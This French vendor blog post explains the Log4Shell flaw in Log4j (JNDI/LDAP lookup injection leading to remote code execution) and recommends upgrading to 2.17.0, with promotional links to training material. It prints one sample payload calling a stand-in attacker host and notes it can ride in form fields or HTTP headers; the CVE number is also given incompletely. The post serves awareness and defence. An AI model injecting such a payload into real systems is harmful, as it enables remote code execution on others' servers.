La vulnérabilité Log4j expliquée : vecteur d'attaque et prévention

Le 9 décembre, une faille 0-day dans la bibliothèque Java Log4j a été révélée. CVE-44228, surnommée Log4Shell, a été classée comme « haute sévérité » car l'exploitation peut entraîner une exécution de code à distance (RCE). De plus, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui expose des millions d'applications à un risque.
Vous souhaitez améliorer rapidement vos compétences pour contrer Log4Shell ?
Nous avons créé une démonstration qui vous guide depuis les concepts de base de Log4Shell jusqu'à l'expérimentation de ses exploits dans un simulateur appelé « Mission ». Dans cette mission, nous vous montrerons comment la vulnérabilité Log4j peut impacter votre infrastructure et vos applications. Cliquez ici pour accéder directement à la démonstration, ou continuez votre lecture pour en savoir plus sur cette vulnérabilité.
Déjà vu ?
Cet exploit n'est pas nouveau. Dès 2016, lors de leur conférence BlackHat, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que « les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables » et illustraient comment une injection JNDI/LDAP ciblée pouvait mener à une exécution de code à distance. C'est précisément ce qui est au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
Pour comprendre cela, il faut connaître le langage d'expression (EL) de Java. Les expressions écrites selon la syntaxe suivante : ${expr} sont évaluées lors de l'exécution. Par exemple, ${java:version} renverra la version de Java utilisée.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, une API qui permet de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc., pour récupérer des données ou des ressources. Pour faire simple, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant du code malveillant, qui sera alors exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal et effectue des recherches sur toutes les saisies utilisateur écrites en syntaxe EL préfixées par « jndi ». La charge utile peut être injectée partout où les utilisateurs peuvent saisir des données, comme dans les champs de formulaire. De plus, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour expérimenter l'exploit vous-même, rendez-vous sur notre démonstration et passez à l'étape 2 - « Expérimenter l'impact ».
Prévention : Sensibilisation
La mise à jour est l'action recommandée pour toutes les applications, car Log4j a corrigé le code vulnérable. Cependant, les versions 2.15.0 et 2.16.0 contenaient des vulnérabilités DDoS et autres, ce qui signifie que depuis fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs, nous devons toujours prendre la sécurité en compte. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tierces. Nous devons être conscients que la sécurité de notre application peut être compromise par l'utilisation de sources externes que nous supposons naïvement être sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'un côté, les développeurs ne peuvent pas tout contrôler, car des composants vulnérables sont introduits via des logiciels tiers. D'un autre côté, la leçon à retenir, répétée maintes et maintes fois, est de ne jamais faire confiance aux saisies utilisateur.
Secure Code Warrior est convaincu que les développeurs sensibilisés à la sécurité sont le meilleur rempart contre les vulnérabilités logicielles. Grâce à la formation à grande échelle par framework de programmation proposée par SCW, les entreprises clientes ont pu identifier rapidement les développeurs Java concernés via les rapports de données. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à jour de Log4j.
Pour les développeurs Java, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles permet d'appliquer des directives de codage, ainsi que de prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos guides prêts à l'emploi. Parcourez nos recettes et n'oubliez pas de télécharger notre guide Log4j pour identifier et corriger la vulnérabilité Log4Shell en un clin d'œil.
Perfectionnez vos compétences pour contrer Log4Shell
Envie de mettre en pratique ce que vous avez appris dans cet article ? Notre démonstration est là pour vous aider. Elle débute par un rappel rapide de cette vulnérabilité, puis vous plonge dans un environnement simulé où vous pourrez tester l'exploitation avec des instructions guidées.
Gouvernez le développement assisté par IA avant la mise en production
Évaluez les risques liés à l'IA, appliquez des politiques de codage sécurisé dès le commit et accélérez la livraison sécurisée tout au long de votre cycle de développement.
Explorer plus d'articles
Accédez à du contenu expert sur le codage sécurisé, la gouvernance de l'IA et la gestion des risques logiciels.
%252520%252520(3).avif)
Supercharged Security Awareness: How Tournaments are Inspiring Developers at Erste Group
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse varius enim in eros elementum tristique. Duis cursus, mi quis viverra ornare, eros dolor interdum nulla, ut commodo diam libero vitae erat. Aenean faucibus nibh et justo cursus id rutrum lorem imperdiet. Nunc ut sem vitae risus tristique posuere.

Security as culture: How Blue Prism cultivates world-class secure developers
Learn how Blue Prism, the global leader in intelligent automation for the enterprise, used Secure Code Warrior's agile learning platform to create a security-first culture with their developers, achieve their business goals, and ship secure code at speed

Une culture de la sécurité : comment Sage a bâti son programme de champions
Découvrez comment Sage a renforcé sa sécurité grâce à une approche flexible axée sur les relations humaines, formant plus de 200 champions de la sécurité et obtenant une réduction mesurable des risques.

Mois de la sensibilisation à la cybersécurité 2026 : comprendre la sécurité de l'IA est essentiel à la défense de l'entreprise
Nous avons atteint un point où la plupart des grandes entreprises d'IA ont publiquement appelé à un ralentissement mondial du développement de l'IA afin de permettre aux garde-fous de sécurité de rattraper leur retard. Pourtant, la réalité est que de graves problèmes de sécurité se sont déjà concrétisés. Cela place d'innombrables responsables de la sécurité et équipes de direction dans une situation d'urgence, alors que les coûts financiers et les risques liés à la mise en œuvre de l'IA ne cessent de s'accumuler.

Levier 8 : Valoriser votre programme
Un programme de codage sécurisé a besoin de plus qu'un contenu de qualité pour réussir. Le levier 8 montre comment l'image de marque transforme la participation en une expérience convoitée, axée sur le statut.
.avif)
Chaque employé est désormais en première ligne de la cybersécurité IA
Le paysage technologique des entreprises évolue à une vitesse que peu avaient anticipée avant qu'il ne soit trop tard. Nous avons officiellement franchi le cap du code écrit par l'humain et de l'assistance basique par copilote pour entrer dans l'ère du cycle de vie de développement agentique (ADLC). Si les agents IA autonomes promettent une efficacité sans précédent dans de multiples fonctions, ils apportent également une toute nouvelle catégorie de risques en matière de sécurité et de réglementation.
Sécurisez le développement piloté par l'IA avant le déploiement
Identifiez les risques de développement, appliquez vos politiques et prévenez les vulnérabilités tout au long du cycle de vie de vos logiciels.
